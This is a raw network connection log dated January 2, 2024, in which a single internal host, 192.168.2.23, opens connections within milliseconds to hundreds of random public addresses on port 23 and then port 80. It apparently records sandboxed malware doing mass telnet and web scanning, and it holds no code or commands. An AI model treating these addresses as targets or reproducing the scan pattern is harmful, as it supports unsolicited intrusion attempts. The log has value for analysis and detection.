Jan 2, 2024 06:23:45.187261105 CET	14265	23	192.168.2.23	179.14.46.192
Jan 2, 2024 06:23:45.187266111 CET	14265	23	192.168.2.23	172.197.119.150
Jan 2, 2024 06:23:45.187266111 CET	14265	23	192.168.2.23	172.245.17.13
Jan 2, 2024 06:23:45.187268019 CET	14265	23	192.168.2.23	178.161.200.44
Jan 2, 2024 06:23:45.187268972 CET	14265	23	192.168.2.23	166.171.240.143
Jan 2, 2024 06:23:45.187271118 CET	14265	23	192.168.2.23	181.125.242.230
Jan 2, 2024 06:23:45.187271118 CET	14265	23	192.168.2.23	4.91.34.148
Jan 2, 2024 06:23:45.187274933 CET	14265	23	192.168.2.23	182.35.54.55
Jan 2, 2024 06:23:45.187284946 CET	14265	23	192.168.2.23	69.243.156.165
Jan 2, 2024 06:23:45.187284946 CET	14265	23	192.168.2.23	82.143.247.113
Jan 2, 2024 06:23:45.187285900 CET	14265	23	192.168.2.23	108.178.228.74
Jan 2, 2024 06:23:45.187285900 CET	14265	23	192.168.2.23	89.67.229.125
Jan 2, 2024 06:23:45.187285900 CET	14265	23	192.168.2.23	82.13.10.210
Jan 2, 2024 06:23:45.187297106 CET	14265	23	192.168.2.23	112.25.152.166
Jan 2, 2024 06:23:45.187299967 CET	14265	23	192.168.2.23	97.130.158.38
Jan 2, 2024 06:23:45.187299967 CET	14265	23	192.168.2.23	160.38.8.65
Jan 2, 2024 06:23:45.187299967 CET	14265	23	192.168.2.23	135.32.73.28
Jan 2, 2024 06:23:45.187299967 CET	14265	23	192.168.2.23	111.80.213.34
Jan 2, 2024 06:23:45.187299967 CET	14265	23	192.168.2.23	82.201.212.222
Jan 2, 2024 06:23:45.187309980 CET	14265	23	192.168.2.23	141.225.58.204
Jan 2, 2024 06:23:45.187309980 CET	14265	23	192.168.2.23	172.218.139.4
Jan 2, 2024 06:23:45.187309980 CET	14265	23	192.168.2.23	124.66.225.183
Jan 2, 2024 06:23:45.187309980 CET	14265	23	192.168.2.23	78.177.96.163
Jan 2, 2024 06:23:45.187319994 CET	14265	23	192.168.2.23	37.58.153.158
Jan 2, 2024 06:23:45.187319994 CET	14265	23	192.168.2.23	159.240.142.37
Jan 2, 2024 06:23:45.187325954 CET	14265	23	192.168.2.23	134.14.145.176
Jan 2, 2024 06:23:45.187325954 CET	14265	23	192.168.2.23	149.126.207.168
Jan 2, 2024 06:23:45.187328100 CET	14265	23	192.168.2.23	19.153.165.226
Jan 2, 2024 06:23:45.187325954 CET	14265	23	192.168.2.23	91.143.247.124
Jan 2, 2024 06:23:45.187325954 CET	14265	23	192.168.2.23	27.117.83.130
Jan 2, 2024 06:23:45.187330008 CET	14265	23	192.168.2.23	88.193.174.218
Jan 2, 2024 06:23:45.187331915 CET	14265	23	192.168.2.23	199.219.147.123
Jan 2, 2024 06:23:45.187331915 CET	14265	23	192.168.2.23	112.183.213.213
Jan 2, 2024 06:23:45.187339067 CET	14265	23	192.168.2.23	196.230.194.12
Jan 2, 2024 06:23:45.187352896 CET	14265	23	192.168.2.23	128.200.192.217
Jan 2, 2024 06:23:45.187355042 CET	14265	23	192.168.2.23	213.182.55.59
Jan 2, 2024 06:23:45.187359095 CET	14265	23	192.168.2.23	185.241.196.106
Jan 2, 2024 06:23:45.187361956 CET	14265	23	192.168.2.23	54.148.220.49
Jan 2, 2024 06:23:45.187366009 CET	14265	23	192.168.2.23	190.117.60.218
Jan 2, 2024 06:23:45.187366009 CET	14265	23	192.168.2.23	70.31.179.26
Jan 2, 2024 06:23:45.187366009 CET	14265	23	192.168.2.23	93.252.173.227
Jan 2, 2024 06:23:45.187366009 CET	14265	23	192.168.2.23	81.98.74.153
Jan 2, 2024 06:23:45.187366009 CET	14265	23	192.168.2.23	176.174.141.193
Jan 2, 2024 06:23:45.187366009 CET	14265	23	192.168.2.23	65.30.228.146
Jan 2, 2024 06:23:45.187371016 CET	14265	23	192.168.2.23	181.124.76.199
Jan 2, 2024 06:23:45.187371016 CET	14265	23	192.168.2.23	107.109.66.239
Jan 2, 2024 06:23:45.187371016 CET	14265	23	192.168.2.23	203.70.64.198
Jan 2, 2024 06:23:45.187371016 CET	14265	23	192.168.2.23	204.167.8.191
Jan 2, 2024 06:23:45.187371016 CET	14265	23	192.168.2.23	87.51.165.6
Jan 2, 2024 06:23:45.187380075 CET	14265	23	192.168.2.23	67.152.202.80
Jan 2, 2024 06:23:45.187380075 CET	14265	23	192.168.2.23	186.132.156.148
Jan 2, 2024 06:23:45.187390089 CET	14265	23	192.168.2.23	66.76.137.210
Jan 2, 2024 06:23:45.187390089 CET	14265	23	192.168.2.23	103.109.253.204
Jan 2, 2024 06:23:45.187391043 CET	14265	23	192.168.2.23	158.57.192.220
Jan 2, 2024 06:23:45.187391996 CET	14265	23	192.168.2.23	79.94.131.46
Jan 2, 2024 06:23:45.187392950 CET	14265	23	192.168.2.23	88.23.220.22
Jan 2, 2024 06:23:45.187392950 CET	14265	23	192.168.2.23	209.160.200.8
Jan 2, 2024 06:23:45.187393904 CET	14265	23	192.168.2.23	62.20.255.192
Jan 2, 2024 06:23:45.187402964 CET	14265	23	192.168.2.23	53.232.171.91
Jan 2, 2024 06:23:45.187414885 CET	14265	23	192.168.2.23	63.164.38.86
Jan 2, 2024 06:23:45.187417984 CET	14265	23	192.168.2.23	220.230.103.254
Jan 2, 2024 06:23:45.187427998 CET	14265	23	192.168.2.23	201.130.125.20
Jan 2, 2024 06:23:45.187429905 CET	14265	23	192.168.2.23	72.20.177.225
Jan 2, 2024 06:23:45.187431097 CET	14265	23	192.168.2.23	197.114.254.118
Jan 2, 2024 06:23:45.187431097 CET	14265	23	192.168.2.23	64.108.107.162
Jan 2, 2024 06:23:45.187447071 CET	14265	23	192.168.2.23	181.188.158.50
Jan 2, 2024 06:23:45.187448978 CET	14265	23	192.168.2.23	218.237.77.59
Jan 2, 2024 06:23:45.187448978 CET	14265	23	192.168.2.23	60.174.44.222
Jan 2, 2024 06:23:45.187449932 CET	14265	23	192.168.2.23	177.203.10.31
Jan 2, 2024 06:23:45.187458038 CET	14265	23	192.168.2.23	197.20.234.4
Jan 2, 2024 06:23:45.187458038 CET	14265	23	192.168.2.23	220.178.6.19
Jan 2, 2024 06:23:45.187463999 CET	14265	23	192.168.2.23	147.244.142.101
Jan 2, 2024 06:23:45.187463999 CET	14265	23	192.168.2.23	87.127.72.53
Jan 2, 2024 06:23:45.187465906 CET	14265	23	192.168.2.23	166.107.16.217
Jan 2, 2024 06:23:45.187469959 CET	14265	23	192.168.2.23	137.174.233.96
Jan 2, 2024 06:23:45.187479973 CET	14265	23	192.168.2.23	74.196.18.204
Jan 2, 2024 06:23:45.187484980 CET	14265	23	192.168.2.23	59.120.26.82
Jan 2, 2024 06:23:45.187489033 CET	14265	23	192.168.2.23	157.141.115.252
Jan 2, 2024 06:23:45.187489986 CET	14265	23	192.168.2.23	38.66.253.219
Jan 2, 2024 06:23:45.187489986 CET	14265	23	192.168.2.23	64.53.104.150
Jan 2, 2024 06:23:45.187489986 CET	14265	23	192.168.2.23	150.87.111.132
Jan 2, 2024 06:23:45.187489986 CET	14265	23	192.168.2.23	31.83.10.202
Jan 2, 2024 06:23:45.187491894 CET	14265	23	192.168.2.23	71.46.252.29
Jan 2, 2024 06:23:45.187506914 CET	14265	23	192.168.2.23	87.128.90.165
Jan 2, 2024 06:23:45.187511921 CET	14265	23	192.168.2.23	128.85.60.209
Jan 2, 2024 06:23:45.187511921 CET	14265	23	192.168.2.23	209.246.73.201
Jan 2, 2024 06:23:45.187513113 CET	14265	23	192.168.2.23	14.255.32.27
Jan 2, 2024 06:23:45.187513113 CET	14265	23	192.168.2.23	83.118.15.24
Jan 2, 2024 06:23:45.187513113 CET	14265	23	192.168.2.23	142.236.179.252
Jan 2, 2024 06:23:45.187514067 CET	14265	23	192.168.2.23	200.135.220.147
Jan 2, 2024 06:23:45.187514067 CET	14265	23	192.168.2.23	163.213.31.35
Jan 2, 2024 06:23:45.187514067 CET	14265	23	192.168.2.23	220.159.115.128
Jan 2, 2024 06:23:45.187524080 CET	14265	23	192.168.2.23	103.170.223.184
Jan 2, 2024 06:23:45.187524080 CET	14265	23	192.168.2.23	144.44.47.184
Jan 2, 2024 06:23:45.187527895 CET	14265	23	192.168.2.23	137.149.124.1
Jan 2, 2024 06:23:45.187530994 CET	14265	23	192.168.2.23	45.64.128.69
Jan 2, 2024 06:23:45.187530994 CET	14265	23	192.168.2.23	40.236.35.128
Jan 2, 2024 06:23:45.187535048 CET	14265	23	192.168.2.23	143.110.150.151
Jan 2, 2024 06:23:45.187536955 CET	14265	23	192.168.2.23	77.105.100.181
Jan 2, 2024 06:23:45.187550068 CET	14265	23	192.168.2.23	200.129.217.157
Jan 2, 2024 06:23:45.187553883 CET	14265	23	192.168.2.23	173.158.75.141
Jan 2, 2024 06:23:45.187553883 CET	14265	23	192.168.2.23	162.213.74.22
Jan 2, 2024 06:23:45.187553883 CET	14265	23	192.168.2.23	70.31.193.238
Jan 2, 2024 06:23:45.187553883 CET	14265	23	192.168.2.23	222.20.245.155
Jan 2, 2024 06:23:45.187557936 CET	14265	23	192.168.2.23	146.105.122.142
Jan 2, 2024 06:23:45.187557936 CET	14265	23	192.168.2.23	102.124.184.112
Jan 2, 2024 06:23:45.187558889 CET	14265	23	192.168.2.23	196.145.202.198
Jan 2, 2024 06:23:45.187558889 CET	14265	23	192.168.2.23	136.114.120.30
Jan 2, 2024 06:23:45.187560081 CET	14265	23	192.168.2.23	126.105.153.214
Jan 2, 2024 06:23:45.187558889 CET	14265	23	192.168.2.23	112.171.40.124
Jan 2, 2024 06:23:45.187558889 CET	14265	23	192.168.2.23	135.223.54.161
Jan 2, 2024 06:23:45.187562943 CET	14265	23	192.168.2.23	97.6.239.183
Jan 2, 2024 06:23:45.187572956 CET	14265	23	192.168.2.23	179.253.209.71
Jan 2, 2024 06:23:45.187573910 CET	14265	23	192.168.2.23	200.232.119.180
Jan 2, 2024 06:23:45.187576056 CET	14265	23	192.168.2.23	49.23.143.32
Jan 2, 2024 06:23:45.187576056 CET	14265	23	192.168.2.23	8.119.214.113
Jan 2, 2024 06:23:45.187587023 CET	14265	23	192.168.2.23	204.95.173.219
Jan 2, 2024 06:23:45.187587976 CET	14265	23	192.168.2.23	223.145.211.174
Jan 2, 2024 06:23:45.187606096 CET	14265	23	192.168.2.23	49.101.240.133
Jan 2, 2024 06:23:45.187604904 CET	14265	23	192.168.2.23	70.249.136.111
Jan 2, 2024 06:23:45.187604904 CET	14265	23	192.168.2.23	116.192.230.205
Jan 2, 2024 06:23:45.187609911 CET	14265	23	192.168.2.23	17.203.230.91
Jan 2, 2024 06:23:45.187609911 CET	14265	23	192.168.2.23	12.213.47.63
Jan 2, 2024 06:23:45.187618017 CET	14265	23	192.168.2.23	68.81.227.248
Jan 2, 2024 06:23:45.187618017 CET	14265	23	192.168.2.23	84.242.173.249
Jan 2, 2024 06:23:45.187618017 CET	14265	23	192.168.2.23	23.212.40.170
Jan 2, 2024 06:23:45.187618017 CET	14265	23	192.168.2.23	108.121.234.246
Jan 2, 2024 06:23:45.187619925 CET	14265	23	192.168.2.23	155.11.113.134
Jan 2, 2024 06:23:45.187618017 CET	14265	23	192.168.2.23	85.87.112.204
Jan 2, 2024 06:23:45.187619925 CET	14265	23	192.168.2.23	107.243.231.40
Jan 2, 2024 06:23:45.187623024 CET	14265	23	192.168.2.23	41.233.254.238
Jan 2, 2024 06:23:45.187624931 CET	14265	23	192.168.2.23	203.120.206.98
Jan 2, 2024 06:23:45.187625885 CET	14265	23	192.168.2.23	104.40.244.75
Jan 2, 2024 06:23:45.187633991 CET	14265	23	192.168.2.23	172.95.34.131
Jan 2, 2024 06:23:45.187638044 CET	14265	23	192.168.2.23	200.134.226.202
Jan 2, 2024 06:23:45.187648058 CET	14265	23	192.168.2.23	165.66.68.188
Jan 2, 2024 06:23:45.187659025 CET	14265	23	192.168.2.23	44.238.74.57
Jan 2, 2024 06:23:45.187659025 CET	14265	23	192.168.2.23	137.154.112.151
Jan 2, 2024 06:23:45.187670946 CET	14265	23	192.168.2.23	71.236.180.18
Jan 2, 2024 06:23:45.187673092 CET	14265	23	192.168.2.23	119.28.20.194
Jan 2, 2024 06:23:45.187674046 CET	14265	23	192.168.2.23	212.35.165.52
Jan 2, 2024 06:23:45.187674046 CET	14265	23	192.168.2.23	123.175.6.84
Jan 2, 2024 06:23:45.187675953 CET	14265	23	192.168.2.23	123.159.122.47
Jan 2, 2024 06:23:45.187684059 CET	14265	23	192.168.2.23	168.248.245.203
Jan 2, 2024 06:23:45.187693119 CET	14265	23	192.168.2.23	61.219.90.74
Jan 2, 2024 06:23:45.187695026 CET	14265	23	192.168.2.23	152.1.12.103
Jan 2, 2024 06:23:45.187701941 CET	14265	23	192.168.2.23	35.199.157.63
Jan 2, 2024 06:23:45.187701941 CET	14265	23	192.168.2.23	142.95.219.167
Jan 2, 2024 06:23:45.187702894 CET	14265	23	192.168.2.23	31.67.68.221
Jan 2, 2024 06:23:45.187702894 CET	14265	23	192.168.2.23	205.148.98.79
Jan 2, 2024 06:23:45.187702894 CET	14265	23	192.168.2.23	142.246.222.66
Jan 2, 2024 06:23:45.187724113 CET	14265	23	192.168.2.23	1.35.241.207
Jan 2, 2024 06:23:45.187725067 CET	14265	23	192.168.2.23	221.135.124.98
Jan 2, 2024 06:23:45.187726021 CET	14265	23	192.168.2.23	137.79.182.81
Jan 2, 2024 06:23:45.187726021 CET	14265	23	192.168.2.23	216.169.50.35
Jan 2, 2024 06:23:45.187726021 CET	14265	23	192.168.2.23	81.127.65.71
Jan 2, 2024 06:23:45.187726021 CET	14265	23	192.168.2.23	145.159.144.124
Jan 2, 2024 06:23:45.187730074 CET	14265	23	192.168.2.23	163.93.11.2
Jan 2, 2024 06:23:45.187730074 CET	14265	23	192.168.2.23	200.212.11.163
Jan 2, 2024 06:23:45.187730074 CET	14265	23	192.168.2.23	140.50.2.49
Jan 2, 2024 06:23:45.187730074 CET	14265	23	192.168.2.23	206.95.102.217
Jan 2, 2024 06:23:45.187730074 CET	14265	23	192.168.2.23	156.43.251.153
Jan 2, 2024 06:23:45.187730074 CET	14265	23	192.168.2.23	146.146.123.3
Jan 2, 2024 06:23:45.187730074 CET	14265	23	192.168.2.23	179.25.240.116
Jan 2, 2024 06:23:45.187735081 CET	14265	23	192.168.2.23	185.71.72.228
Jan 2, 2024 06:23:45.187741995 CET	14265	23	192.168.2.23	202.57.161.191
Jan 2, 2024 06:23:45.187741995 CET	14265	23	192.168.2.23	172.172.32.6
Jan 2, 2024 06:23:45.187762022 CET	14265	23	192.168.2.23	65.152.223.236
Jan 2, 2024 06:23:45.187752962 CET	14265	23	192.168.2.23	133.117.80.146
Jan 2, 2024 06:23:45.187771082 CET	14265	23	192.168.2.23	88.126.203.171
Jan 2, 2024 06:23:45.187772036 CET	14265	23	192.168.2.23	79.176.38.100
Jan 2, 2024 06:23:45.187776089 CET	14265	23	192.168.2.23	64.139.116.219
Jan 2, 2024 06:23:45.187777042 CET	14265	23	192.168.2.23	133.68.44.124
Jan 2, 2024 06:23:45.187776089 CET	14265	23	192.168.2.23	77.82.96.105
Jan 2, 2024 06:23:45.187782049 CET	14265	23	192.168.2.23	160.47.31.103
Jan 2, 2024 06:23:45.187782049 CET	14265	23	192.168.2.23	168.59.220.71
Jan 2, 2024 06:23:45.187788010 CET	14265	23	192.168.2.23	104.124.127.25
Jan 2, 2024 06:23:45.187788010 CET	14265	23	192.168.2.23	66.223.15.225
Jan 2, 2024 06:23:45.187788010 CET	14265	23	192.168.2.23	160.85.93.101
Jan 2, 2024 06:23:45.187788010 CET	14265	23	192.168.2.23	140.77.53.192
Jan 2, 2024 06:23:45.187793970 CET	14265	23	192.168.2.23	147.217.115.227
Jan 2, 2024 06:23:45.187794924 CET	14265	23	192.168.2.23	69.255.39.6
Jan 2, 2024 06:23:45.187796116 CET	14265	23	192.168.2.23	208.156.253.163
Jan 2, 2024 06:23:45.187803984 CET	14265	23	192.168.2.23	136.115.13.30
Jan 2, 2024 06:23:45.187804937 CET	14265	23	192.168.2.23	211.75.191.153
Jan 2, 2024 06:23:45.187808990 CET	14265	23	192.168.2.23	203.101.240.32
Jan 2, 2024 06:23:45.187809944 CET	14265	23	192.168.2.23	4.124.191.14
Jan 2, 2024 06:23:45.187809944 CET	14265	23	192.168.2.23	66.4.240.149
Jan 2, 2024 06:23:45.187815905 CET	14265	23	192.168.2.23	66.125.16.135
Jan 2, 2024 06:23:45.187819004 CET	14265	23	192.168.2.23	160.191.70.197
Jan 2, 2024 06:23:45.187819004 CET	14265	23	192.168.2.23	83.16.43.106
Jan 2, 2024 06:23:45.187819004 CET	14265	23	192.168.2.23	208.56.60.42
Jan 2, 2024 06:23:45.187819004 CET	14265	23	192.168.2.23	20.105.145.218
Jan 2, 2024 06:23:45.187822104 CET	14265	23	192.168.2.23	51.214.193.133
Jan 2, 2024 06:23:45.187822104 CET	14265	23	192.168.2.23	107.53.137.108
Jan 2, 2024 06:23:45.187824011 CET	14265	23	192.168.2.23	103.216.224.144
Jan 2, 2024 06:23:45.187832117 CET	14265	23	192.168.2.23	218.245.88.213
Jan 2, 2024 06:23:45.187832117 CET	14265	23	192.168.2.23	68.143.34.170
Jan 2, 2024 06:23:45.187833071 CET	14265	23	192.168.2.23	97.246.229.240
Jan 2, 2024 06:23:45.187833071 CET	14265	23	192.168.2.23	163.36.235.219
Jan 2, 2024 06:23:45.187833071 CET	14265	23	192.168.2.23	34.147.202.2
Jan 2, 2024 06:23:45.187834024 CET	14265	23	192.168.2.23	175.199.25.98
Jan 2, 2024 06:23:45.187839031 CET	14265	23	192.168.2.23	5.12.93.117
Jan 2, 2024 06:23:45.187844038 CET	14265	23	192.168.2.23	109.210.163.252
Jan 2, 2024 06:23:45.187844992 CET	14265	23	192.168.2.23	221.122.92.245
Jan 2, 2024 06:23:45.187844992 CET	14265	23	192.168.2.23	205.145.38.254
Jan 2, 2024 06:23:45.187853098 CET	14265	23	192.168.2.23	140.233.120.132
Jan 2, 2024 06:23:45.187853098 CET	14265	23	192.168.2.23	77.182.193.169
Jan 2, 2024 06:23:45.187853098 CET	14265	23	192.168.2.23	73.194.101.243
Jan 2, 2024 06:23:45.187858105 CET	14265	23	192.168.2.23	177.112.201.207
Jan 2, 2024 06:23:45.187860966 CET	14265	23	192.168.2.23	23.13.36.114
Jan 2, 2024 06:23:45.187865019 CET	14265	23	192.168.2.23	192.126.104.236
Jan 2, 2024 06:23:45.187875986 CET	14265	23	192.168.2.23	118.118.209.107
Jan 2, 2024 06:23:45.187875986 CET	14265	23	192.168.2.23	66.21.182.170
Jan 2, 2024 06:23:45.187875986 CET	14265	23	192.168.2.23	191.67.3.244
Jan 2, 2024 06:23:45.187875986 CET	14265	23	192.168.2.23	218.241.211.245
Jan 2, 2024 06:23:45.187875986 CET	14265	23	192.168.2.23	85.212.8.52
Jan 2, 2024 06:23:45.187882900 CET	14265	23	192.168.2.23	88.98.209.28
Jan 2, 2024 06:23:45.187886000 CET	14265	23	192.168.2.23	159.248.247.13
Jan 2, 2024 06:23:45.187886953 CET	14265	23	192.168.2.23	80.3.112.136
Jan 2, 2024 06:23:45.187894106 CET	14265	23	192.168.2.23	13.76.195.182
Jan 2, 2024 06:23:45.187894106 CET	14265	23	192.168.2.23	38.179.226.18
Jan 2, 2024 06:23:45.187906027 CET	14265	23	192.168.2.23	175.4.130.251
Jan 2, 2024 06:23:45.187906981 CET	14265	23	192.168.2.23	125.65.122.98
Jan 2, 2024 06:23:45.187907934 CET	14265	23	192.168.2.23	118.139.234.169
Jan 2, 2024 06:23:45.187907934 CET	14265	23	192.168.2.23	13.62.146.130
Jan 2, 2024 06:23:45.187907934 CET	14265	23	192.168.2.23	44.56.77.118
Jan 2, 2024 06:23:45.187912941 CET	14265	23	192.168.2.23	17.178.71.90
Jan 2, 2024 06:23:45.187912941 CET	14265	23	192.168.2.23	198.220.184.221
Jan 2, 2024 06:23:45.187916994 CET	14265	23	192.168.2.23	38.160.191.231
Jan 2, 2024 06:23:45.187917948 CET	14265	23	192.168.2.23	189.41.108.130
Jan 2, 2024 06:23:45.187917948 CET	14265	23	192.168.2.23	52.221.247.19
Jan 2, 2024 06:23:45.187927961 CET	14265	23	192.168.2.23	111.218.213.157
Jan 2, 2024 06:23:45.187927961 CET	14265	23	192.168.2.23	54.190.54.61
Jan 2, 2024 06:23:45.187931061 CET	14265	23	192.168.2.23	222.239.0.166
Jan 2, 2024 06:23:45.187931061 CET	14265	23	192.168.2.23	62.64.24.163
Jan 2, 2024 06:23:45.187932014 CET	14265	23	192.168.2.23	27.64.11.158
Jan 2, 2024 06:23:45.187932014 CET	14265	23	192.168.2.23	19.245.233.37
Jan 2, 2024 06:23:45.187935114 CET	14265	23	192.168.2.23	101.59.175.144
Jan 2, 2024 06:23:45.187942982 CET	14265	23	192.168.2.23	67.233.89.193
Jan 2, 2024 06:23:45.187944889 CET	14265	23	192.168.2.23	120.195.191.103
Jan 2, 2024 06:23:45.187944889 CET	14265	23	192.168.2.23	185.197.207.101
Jan 2, 2024 06:23:45.187944889 CET	14265	23	192.168.2.23	52.54.155.67
Jan 2, 2024 06:23:45.187953949 CET	14265	23	192.168.2.23	218.37.115.77
Jan 2, 2024 06:23:45.187961102 CET	14265	23	192.168.2.23	17.29.46.33
Jan 2, 2024 06:23:45.187968016 CET	14265	23	192.168.2.23	201.91.250.253
Jan 2, 2024 06:23:45.187971115 CET	14265	23	192.168.2.23	186.231.43.123
Jan 2, 2024 06:23:45.187971115 CET	14265	23	192.168.2.23	103.40.142.163
Jan 2, 2024 06:23:45.187973022 CET	14265	23	192.168.2.23	178.101.33.185
Jan 2, 2024 06:23:45.187973022 CET	14265	23	192.168.2.23	176.15.246.72
Jan 2, 2024 06:23:45.187978029 CET	14265	23	192.168.2.23	47.18.28.47
Jan 2, 2024 06:23:45.187978029 CET	14265	23	192.168.2.23	183.232.228.68
Jan 2, 2024 06:23:45.187982082 CET	14265	23	192.168.2.23	62.154.205.3
Jan 2, 2024 06:23:45.187984943 CET	14265	23	192.168.2.23	71.32.34.35
Jan 2, 2024 06:23:45.187985897 CET	14265	23	192.168.2.23	17.147.23.174
Jan 2, 2024 06:23:45.188002110 CET	14265	23	192.168.2.23	165.218.9.2
Jan 2, 2024 06:23:45.188003063 CET	14265	23	192.168.2.23	117.255.203.230
Jan 2, 2024 06:23:45.188004017 CET	14265	23	192.168.2.23	128.172.161.24
Jan 2, 2024 06:23:45.188005924 CET	14265	23	192.168.2.23	182.167.64.201
Jan 2, 2024 06:23:45.188005924 CET	14265	23	192.168.2.23	89.233.36.164
Jan 2, 2024 06:23:45.188005924 CET	14265	23	192.168.2.23	132.188.46.201
Jan 2, 2024 06:23:45.188005924 CET	14265	23	192.168.2.23	163.76.134.192
Jan 2, 2024 06:23:45.188005924 CET	14265	23	192.168.2.23	198.185.150.187
Jan 2, 2024 06:23:45.188005924 CET	14265	23	192.168.2.23	70.155.59.192
Jan 2, 2024 06:23:45.188024998 CET	14265	23	192.168.2.23	130.130.133.216
Jan 2, 2024 06:23:45.188025951 CET	14265	23	192.168.2.23	137.255.64.234
Jan 2, 2024 06:23:45.188025951 CET	14265	23	192.168.2.23	31.156.138.114
Jan 2, 2024 06:23:45.188029051 CET	14265	23	192.168.2.23	135.113.144.242
Jan 2, 2024 06:23:45.193200111 CET	18377	80	192.168.2.23	198.160.86.253
Jan 2, 2024 06:23:45.193202019 CET	18377	80	192.168.2.23	91.195.149.245
Jan 2, 2024 06:23:45.193212032 CET	18377	80	192.168.2.23	27.50.27.202
Jan 2, 2024 06:23:45.193212986 CET	18377	80	192.168.2.23	93.184.98.164
Jan 2, 2024 06:23:45.193213940 CET	18377	80	192.168.2.23	49.251.240.244
Jan 2, 2024 06:23:45.193213940 CET	18377	80	192.168.2.23	177.196.179.168
Jan 2, 2024 06:23:45.193214893 CET	18377	80	192.168.2.23	197.164.253.198
Jan 2, 2024 06:23:45.193213940 CET	18377	80	192.168.2.23	220.253.149.44
Jan 2, 2024 06:23:45.193233967 CET	18377	80	192.168.2.23	84.9.143.82
Jan 2, 2024 06:23:45.193233967 CET	18377	80	192.168.2.23	99.188.61.201
Jan 2, 2024 06:23:45.193233967 CET	18377	80	192.168.2.23	73.157.111.149
Jan 2, 2024 06:23:45.193234921 CET	18377	80	192.168.2.23	32.77.130.56
Jan 2, 2024 06:23:45.193252087 CET	18377	80	192.168.2.23	38.173.24.103
Jan 2, 2024 06:23:45.193252087 CET	18377	80	192.168.2.23	97.145.86.83
Jan 2, 2024 06:23:45.193259001 CET	18377	80	192.168.2.23	1.33.206.116
Jan 2, 2024 06:23:45.193259001 CET	18377	80	192.168.2.23	58.71.29.237
Jan 2, 2024 06:23:45.193262100 CET	18377	80	192.168.2.23	217.225.23.255
Jan 2, 2024 06:23:45.193264961 CET	18377	80	192.168.2.23	132.176.74.194
Jan 2, 2024 06:23:45.193267107 CET	18377	80	192.168.2.23	123.20.122.247
Jan 2, 2024 06:23:45.193268061 CET	18377	80	192.168.2.23	107.189.253.100
Jan 2, 2024 06:23:45.193270922 CET	18377	80	192.168.2.23	106.106.180.238
Jan 2, 2024 06:23:45.193274975 CET	18377	80	192.168.2.23	37.41.118.170
Jan 2, 2024 06:23:45.193285942 CET	18377	80	192.168.2.23	60.113.46.244
Jan 2, 2024 06:23:45.193285942 CET	18377	80	192.168.2.23	135.181.60.130
Jan 2, 2024 06:23:45.193285942 CET	18377	80	192.168.2.23	178.8.94.243
Jan 2, 2024 06:23:45.193289042 CET	18377	80	192.168.2.23	126.44.26.197
Jan 2, 2024 06:23:45.193284988 CET	18377	80	192.168.2.23	223.125.226.177
Jan 2, 2024 06:23:45.193289042 CET	18377	80	192.168.2.23	211.212.115.57
Jan 2, 2024 06:23:45.193290949 CET	18377	80	192.168.2.23	169.159.229.31
Jan 2, 2024 06:23:45.193289995 CET	18377	80	192.168.2.23	89.22.83.44
Jan 2, 2024 06:23:45.193289995 CET	18377	80	192.168.2.23	218.222.226.37
Jan 2, 2024 06:23:45.193289995 CET	18377	80	192.168.2.23	61.186.119.183
Jan 2, 2024 06:23:45.193289995 CET	18377	80	192.168.2.23	188.197.237.99
Jan 2, 2024 06:23:45.193300009 CET	18377	80	192.168.2.23	141.182.92.42
Jan 2, 2024 06:23:45.193300962 CET	18377	80	192.168.2.23	113.84.214.136
Jan 2, 2024 06:23:45.193303108 CET	18377	80	192.168.2.23	25.7.141.218
Jan 2, 2024 06:23:45.193305969 CET	18377	80	192.168.2.23	125.7.192.2
Jan 2, 2024 06:23:45.193308115 CET	18377	80	192.168.2.23	35.65.171.148
Jan 2, 2024 06:23:45.193310976 CET	18377	80	192.168.2.23	209.11.247.46
Jan 2, 2024 06:23:45.193315983 CET	18377	80	192.168.2.23	211.165.77.229
Jan 2, 2024 06:23:45.193322897 CET	18377	80	192.168.2.23	123.45.232.223
Jan 2, 2024 06:23:45.193325996 CET	18377	80	192.168.2.23	201.146.189.14
Jan 2, 2024 06:23:45.193330050 CET	18377	80	192.168.2.23	41.12.41.79
Jan 2, 2024 06:23:45.193330050 CET	18377	80	192.168.2.23	121.240.47.73
Jan 2, 2024 06:23:45.193332911 CET	18377	80	192.168.2.23	119.212.58.11
Jan 2, 2024 06:23:45.193334103 CET	18377	80	192.168.2.23	76.109.225.55
Jan 2, 2024 06:23:45.193336964 CET	18377	80	192.168.2.23	166.170.124.60
Jan 2, 2024 06:23:45.193339109 CET	18377	80	192.168.2.23	35.244.252.40
Jan 2, 2024 06:23:45.193341017 CET	18377	80	192.168.2.23	188.93.194.254
Jan 2, 2024 06:23:45.193346024 CET	18377	80	192.168.2.23	125.99.49.174
Jan 2, 2024 06:23:45.193348885 CET	18377	80	192.168.2.23	211.57.118.197
Jan 2, 2024 06:23:45.193350077 CET	18377	80	192.168.2.23	64.1.211.126
Jan 2, 2024 06:23:45.193350077 CET	18377	80	192.168.2.23	188.240.80.28
Jan 2, 2024 06:23:45.193350077 CET	18377	80	192.168.2.23	43.6.122.67
Jan 2, 2024 06:23:45.193362951 CET	18377	80	192.168.2.23	39.25.152.6
Jan 2, 2024 06:23:45.193362951 CET	18377	80	192.168.2.23	143.65.22.136
Jan 2, 2024 06:23:45.193365097 CET	18377	80	192.168.2.23	217.183.1.71
Jan 2, 2024 06:23:45.193365097 CET	18377	80	192.168.2.23	116.0.107.229
Jan 2, 2024 06:23:45.193366051 CET	18377	80	192.168.2.23	155.191.216.153
Jan 2, 2024 06:23:45.193375111 CET	18377	80	192.168.2.23	102.118.125.129
Jan 2, 2024 06:23:45.193377018 CET	18377	80	192.168.2.23	163.57.72.252
Jan 2, 2024 06:23:45.193380117 CET	18377	80	192.168.2.23	129.105.245.199
Jan 2, 2024 06:23:45.193386078 CET	18377	80	192.168.2.23	144.45.172.89
Jan 2, 2024 06:23:45.193397045 CET	18377	80	192.168.2.23	142.178.129.173
Jan 2, 2024 06:23:45.193401098 CET	18377	80	192.168.2.23	141.172.170.23
Jan 2, 2024 06:23:45.193402052 CET	18377	80	192.168.2.23	170.100.42.111
Jan 2, 2024 06:23:45.193401098 CET	18377	80	192.168.2.23	52.40.27.102
Jan 2, 2024 06:23:45.193406105 CET	18377	80	192.168.2.23	147.136.26.212
Jan 2, 2024 06:23:45.193406105 CET	18377	80	192.168.2.23	115.1.182.146
Jan 2, 2024 06:23:45.193409920 CET	18377	80	192.168.2.23	173.43.191.96
Jan 2, 2024 06:23:45.193409920 CET	18377	80	192.168.2.23	93.222.136.3
Jan 2, 2024 06:23:45.193412066 CET	18377	80	192.168.2.23	57.216.209.209
